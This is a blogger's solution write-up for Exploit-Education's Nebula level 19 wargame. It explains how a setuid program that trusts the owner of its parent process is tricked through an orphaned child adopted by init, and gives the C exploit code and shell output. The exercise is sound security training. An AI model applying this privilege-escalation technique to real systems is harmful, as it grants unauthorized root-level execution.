Exploit-Education Nebula Level 19
Exploit Education Level 19
Challenge
There is a flaw in the below program in how it operates.
To do this level, log in as the level19
account with the password level19
. Files for this level can be found in /home/flag19
.
Vulnerability
This is an odd vulnerability and it happens due too how linux system operated.
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
So the program will execute a shell if we run the program is root. But how can we run it as root?. There is a concept of process inheritance in Linux.
Each process has a parent, and a parent process can have multiple children. The exception to this rule is the init process, which is started at system boot. The init process is its own parent and is the parent, either directly or indirectly, of all other processes running on the system. This process is run as root and it’s Process ID (PID) is 1: Lets take a look at the program.
level19@nebula:~$ ps aux |grep 'PID\|init'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 3200 1796 ? Ss 11:32 0:00 /sbin/init
level19 1336 0.0 0.1 4156 552 pts/0 R+ 11:45 0:00 grep --color=auto PID\|init
If a process spawns a new child (e.g. through the fork() system call in C), it becomes the parent of that child process. If the parent is killed before the child, the child process is said to become an orphan process. All orphan processes are adopted by init.
Source (yeah I know its another writeup. But I had no clue how this stuff works do i had to look up for other writeups. )
So if we can run a program that will create a child process
and if the parent process
dies before the child process
we will have PID
of 1
. And then we can exploit this line.
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
The getpid()
will return the PID
of root
.
Lets write a program that will spawn a child
and then we can make the child
sleep while the parent
exits. (This sentence sounds a bit weird)
#include <stdio.h>
#include <unistd.h>
int main(void){
pid_t pid=fork();
if(pid==0) /*child process*/
{
char *cmd = "/home/flag19/flag19";
char *args[] = { "/bin/sh","-c","/tmp/run.sh"};
sleep(3);
printf("Pid: %d\n", getppid());
execv(cmd,args);
return 0;
}
else /*parent process*/
{
return 0;
}
}
This program will run the flag19
program and it will execute the contents of run.sh
file. The run.sh
file will run the getflag
command and save the output to a file named /tmp/out
.
Let try it out.
level19@nebula:/tmp$ cat run.sh
getflag > /tmp/out
level19@nebula:~$ gcc fork.c
level19@nebula:~$ ./a.out
level19@nebula:~$ Pid: 1
level19@nebula:~$
So we have PID
of 1
. Lets check the output of /tmp/out
level19@nebula:/tmp$ cat out
You have successfully executed getflag on a target account
Solved!
After Thoughts
Haw mahn that was a hell of a ride. I have finally completed the nebula
section of Exploit-Education. I am planning to continue with Fusion or maybe something else. I wouldn’t say that I enjoyed every level (because sometimes i get frustrated when i can’t find any vulnerability. Yeah i know its part of the learning and i am working on it) but I definitely learned a lot of strange ways to exploit programs.